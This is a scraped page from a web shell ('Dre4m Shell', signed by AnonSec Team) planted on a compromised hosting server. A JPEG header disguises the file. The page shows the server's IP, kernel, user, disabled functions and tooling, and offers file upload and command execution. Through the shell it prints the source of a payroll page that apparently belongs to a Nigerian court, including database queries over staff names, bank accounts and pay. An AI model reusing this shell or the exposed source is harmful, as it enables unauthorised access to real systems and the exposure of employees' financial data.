ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 13.58.49.170
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/nicnpayroll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/nicnpayroll/con_pay.php
<?php
//
require_once('business logic/classes/users.php');
//require_once('business logic/classes/operations.php');
//
$user = new User();
//$oper =new Operations();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
//
if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
if (isset ($_SESSION['fNo']) and isset ($_SESSION['mth']) and isset ($_SESSION['yr'])) 
{
    $fNo = mysql_real_escape_string($_SESSION['fNo']);//$_SESSION['schqc']..$_SESSION['mqc']...$_SESSION['yqc']
	$mth = mysql_real_escape_string($_SESSION['mth']);
	$yr = mysql_real_escape_string($_SESSION['yr']);
}
//
//$result = mysql_query("select * from tblper order by surname, othernames");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Print Pay Slip</title>

<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
body {
	background-image: url(images/nicn_bg.jpg);
}
.tblborder {
	border-top-width: thin;
	border-right-width: thin;
	border-bottom-width: thin;
	border-left-width: thin;
	border-top-style: solid;
	border-right-style: solid;
	border-bottom-style: solid;
	border-left-style: solid;
}
.paybdr {
	border: thin inset #060;
}
body,td,th {
	font-family: Verdana, Geneva, sans-serif;
	font-size: 15px;
}
-->
</style>
 
</head>
<body>
<p>
<?php
$getData = mysql_query("SELECT PER.fileNo,PY.basic_salary, PY.arrears_basic, PY.gross_emolument, PY.utility, PY.servant,
					   PY.entertainment, PY.personal_assistant, PY.motor_maintain, PY.hardship, PY.newspaper, PY.outfit, PY.leave_b,
					   PY.arrears_allowance, PY.tax, PY.rent_water, PY.nhf, PY.loan, PY.personal_assistant_deduct, PY.pension, PY.j_contribution,
					   PY.month, PY.year, PER.title, PER.surname, PER.first_name, PER.othernames, PER.AccNo, PER.bank, PY.total_allow, PY.nicncoop,
					   PY.total_deduction, PY.net_pay, PY.gross_pay, PY.totalEmolu FROM tblper AS PER,tbl_conpayment AS PY
					   WHERE(PY.fileNo = PER.fileNo and	PY.fileNo ='$fNo')  and (month = '$mth') and (year = '$yr')")
		or die (mysql_error());//,PER.grade,PER.step
$data = mysql_fetch_assoc($getData);
?>
</p>
<p>&nbsp;</p>
<div align="center">
  <table width="1133" border="1" align="center" cellpadding="0" cellspacing="0" class="paybdr">
    <tr>
      <td colspan="3"><div align="center"><strong>
        <?php require_once('header.php');?>
        <br />
      STAFF PAY SLIP</strong></div></td>
    </tr>
    <tr>
      <td width="961"><div align="left">
        <p>File No:<strong> <?php echo $data['fileNo']; ?><br />
          </strong>Full Name:<strong> <?php echo $data['title'].' '.$data['surname'].', '.$data['first_name']." ".$data['othernames']; ?><br />    
            </strong>Account No:<strong>
  <?php
		echo $data['AccNo'];
		?><br />
            </strong>Bank Name:<strong> <?php echo $data['bank']; ?></strong><br />
            Date Printed: <strong><?php echo Date("F d, Y");//date('d-m-Y');?></strong><br />
Month: <strong><?php echo $data['month'];?></strong><br />
Year: <strong><?php echo $data['year'];?></strong></p>
      </div></td>
      <td colspan="2" align="right" valign="top">
      <img src="http://payroll.nicn.gov.ng/passport/<?php echo $data['fileNo']; ?>.jpg" width="150" border="1" />
      </td>
    </tr>
    <tr>
      <td colspan="2">&nbsp;</td>
      <td width="143"><div align="right"><a href="userArea.php">Home</a></div></td>
    </tr>
    <tr>
      <td colspan="3"><div align="left">
        <table width="1119" border="0" align="center" cellpadding="0" cellspacing="2">
          <tr>
            <td width="269"><strong>Earnings</strong></td>
            <td width="236">Basic Salary</td>
            <td width="297">Arrears (Basic)</td>
            <td width="307"><strong>Gross Emolument</strong></td>
            </tr>
          <tr>
            <td>&nbsp;</td>
            <td><?php echo number_format($data['basic_salary'], 2, '.', ','); ?></td>
            <td><?php echo number_format($data['arrears_basic'], 2, '.', ','); ?></td>
            <td><strong><?php echo number_format($data['gross_emolument'], 2, '.', ','); ?></strong></td>
            </tr>
        </table>
      </div></td>
    </tr>
    <tr>
      <td colspan="3"><strong>Allowances</strong></td>
    </tr>
    <tr>
      <td colspan="3"><table width="1131" border="0" align="center" cellpadding="0" cellspacing="2">
        <tr>
          <td width="86">Utility</td>
          <td width="103">Domestic Servant</td>
          <td width="118">Entertainment</td>
          <td width="99">Personal Assistant</td>
          <td width="110">M/V Maint<br /> &amp; Fueling</td>
          <td width="97">Hardship</td>
          <td width="91">Newspaper</td>
          <td width="96">Outfit</td>
          <td width="105">Leave</td>
          <td width="103">Arrears (Allowances)</td>
          </tr>
        <tr>
          <td><?php echo number_format($data['utility'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['servant'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['entertainment'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['personal_assistant'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['motor_maintain'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['hardship'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['newspaper'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['outfit'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['leave_b'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['arrears_allowance'], 2, '.', ','); ?></td>
          </tr>
      </table></td>
    </tr>
    <tr>
      <td colspan="3"><table width="1151" border="0" align="center" cellpadding="0" cellspacing="2">
        <tr>
          <td colspan="8"><strong>Deductions</strong><hr /></td>
          </tr>
        <tr>
          <td width="142">Judges' Contribution</td>
          <td width="125">Tax</td>
          <td width="157">Rent &amp; water</td>
          <td width="148">NHF</td>
          <td width="151">Loan</td>
          <td width="181">Personal assistant</td>
          <td width="114">Pension</td>
          <td width="115">Nicn COOP</td>
          </tr>
        <tr>
          <td><?php echo number_format($data['j_contribution'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['tax'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['rent_water'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['nhf'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['loan'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['personal_assistant_deduct'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['pension'], 2, '.', ','); ?></td>
          <td><?php echo number_format($data['nicncoop'], 2, '.', ','); ?></td>
          </tr>
      </table>
        <br />
        <table width="953" border="0" align="center" cellpadding="0" cellspacing="2">
          <tr>
            <td width="177"><strong>Total Deduction</strong></td>
            <td width="200"><strong>Basic Allowances</strong></td>
            <td width="153"><strong>Grosspay</strong></td>
            <td width="177"><strong>Net Basic Salary</strong></td>
            <td width="234"><strong>Total Net Emoluments</strong></td>
          </tr>
          <tr>
            <td><strong><?php echo number_format($data['total_deduction'], 2, '.', ',');?></strong></td>
            <td><strong><?php echo number_format($data['total_allow'], 2, '.', ',');?></strong></td>
            <td><strong><?php echo number_format($data['gross_pay'], 2, '.', ','); ?></strong></td>
            <td><strong><?php echo number_format($data['net_pay'], 2, '.', ','); ?></strong></td>
            <td><strong><?php echo  number_format($data['totalEmolu'], 2, '.', ','); ?></strong></td>
          </tr>
        </table>

        <table width="1128" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="106">&nbsp;</td>
          <td width="655">&nbsp;</td>
          <td width="367">&nbsp;</td>
        </tr>
        
      </table></td>
    </tr>
  </table>
  <br /><br />
  <form>
            <div align="center">
              <input type="button" value="Print Slip" onClick="window.print()" >
    </div>
  </form>
</div>
</body>
</html>
<?php
//mysql_free_result($viewSch);
//session_unregister($_SESSION['schqc']);
//session_unregister($_SESSION['mqc']);
//session_unregister($_SESSION['yqc']);
//
//echo 'the vak::::::'.$_SESSION['schqc'];
 $user->close();
 ?>

Anon7 - 2022
AnonSec Team